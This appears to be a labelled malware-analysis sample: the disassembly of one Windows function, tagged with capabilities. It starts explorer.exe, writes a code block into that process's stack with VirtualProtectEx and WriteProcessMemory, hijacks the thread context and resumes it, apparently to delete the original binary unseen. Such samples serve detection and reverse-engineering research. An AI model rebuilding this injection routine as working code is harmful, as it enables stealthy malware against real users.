Function at 0x403b35
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xeb8
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x403b52
xor al, al
jmp 0x403df0
lea eax, [ebp - 1]
mov edi, 0x4465a8
mov esi, 0x4465a0
push 0
push eax
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x2c], esi
call fcn.00403e8f
mov ebx, 0x104
lea eax, [ebp - 0x4c]
push ebx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca84
mov ecx, dword [ebp - 0x20]
call fcn.00405033
push ebx
xor ebx, ebx
push eax
push ebx
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x20]
call fcn.00404253
push ebx
lea eax, [ebp - 0x74]
push ebx
push eax
lea ecx, [ebp - 0x4c]
call fcn.0040406b
sub esp, 0x28
lea eax, [ebp - 0x4c]
mov ecx, esp
push ebx
push eax
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.00403eea
call fcn.0041a523
add esp, 0x28
test al, al
jne 0x403bfb
cmp byte [ebp + 8], al
je 0x403ddc
sub esp, 0x28
lea eax, [ebp - 0x74]
mov ecx, esp
push ebx
push eax
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.00403eea
call fcn.0041a523
add esp, 0x28
test al, al
je 0x403ddc
mov esi, str.explorer.exe
lea edi, [ebp - 0x1bc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x3d
xor eax, eax
pop ecx
lea edi, [ebp - 0x1af]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x44
pop edx
stosb byte es:[edi], al
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xb4]
mov dword [ebp - 0xb8], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xb8]
push eax
push ebx
push ebx
push edx
push ebx
push ebx
lea eax, [ebp - 0x1bc]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x403c5a
xor bl, bl
jmp 0x403dde
mov ecx, 0x28a
xor eax, eax
lea edi, [ebp - 0xeb4]
mov dword [ebp - 0xeb8], ebx
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x6b0], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x6a8], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp - 0x6a4], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x6a0], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x69c], eax
mov al, byte [ebp + 8]
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x6ac], ebx
mov byte [ebp - 0x694], al
call fcn.00405033
mov esi, 0x104
push esi
push eax
lea eax, [ebp - 0x693]
push eax
call fcn.00420f65
add esp, 0xc
cmp byte [ebp + 8], 0
je 0x403cf9
lea ecx, [ebp - 0x74]
call fcn.00405033
push esi
push eax
lea eax, [ebp - 0x58f]
push eax
call fcn.00420f65
add esp, 0xc
xor eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push eax
push eax
lea eax, [ebp - 0x6b4]
push eax
push dword [ebp - 0x14]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x403e8e
mov eax, 0x403df5
sub ecx, eax
cmp ecx, 0x800
ja 0x403c53
push ecx
push eax
lea eax, [ebp - 0xeb4]
push eax
call fcn.00420c30
add esp, 0xc
lea eax, [ebp - 0x488]
mov dword [ebp - 0x488], 0x10003
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x3c4]
mov edi, 0xa2d
lea esi, [eax - 0xa2d]
and esi, 0xffffffe0
mov dword [ebp - 0xeb8], esi
lea eax, [esi - 4]
mov dword [ebp - 0x3c4], eax
lea eax, [esi + 4]
mov dword [ebp - 0x3d0], eax
lea eax, [ebp - 0x24]
push eax
push 0x40
push edi
push esi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
lea eax, [ebp - 0xeb8]
push edi
push eax
push esi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push esi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x488]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x10]
call ebx
push dword [ebp - 0x14]
call ebx
mov bl, 1
lea ecx, [ebp - 0x74]
call fcn.0040e0a8
lea ecx, [ebp - 0x4c]
call fcn.0040e0a8
mov al, bl
pop edi
pop esi
pop ebx
leave
ret